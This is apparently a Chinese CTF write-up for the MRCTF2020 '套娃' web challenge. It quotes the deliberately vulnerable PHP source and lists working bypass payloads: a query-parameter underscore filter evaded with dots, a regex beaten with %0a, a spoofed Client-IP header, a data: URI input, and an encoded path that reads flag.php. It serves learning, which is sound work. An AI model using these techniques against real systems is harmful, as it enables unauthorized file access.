[MRCTF2020]套娃

 

进去后查看源码得到

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

 

$query中不能出现_或者%5f，可以使用.绕过，get方式提交的.会被转变成_
$b_u_p_t要等于23333，但是不能被匹配到23333，在末尾添加%0a绕过

payload: ?b.u.p.t=23333%0a

 

得到提示secrettw.php
访问并查看源码得到一堆jsfuck代码

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直接F12，复制到console里，按下回车，弹出post me Merak

post Merak，得到源码

<?php 
error_reporting(0); 
#include 'takeip.php';
ini_set('open_basedir','.'); 
#include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";

$ip = getIp();

if($ip!='127.0.0.1')
    echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
    echo "Your REQUEST is:".change($_GET['file']);
    echo file_get_contents(change($_GET['file']));
}
?>

 

• 需要ip为127.0.0.1，添加header为Client-IP:127.0.0.1
• 2333为todat is a happy day，令其为data:text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
• file经过change函数加密，将其逆向，得到所需flag.php=fj]a&f\b，对其进行base64编码并传入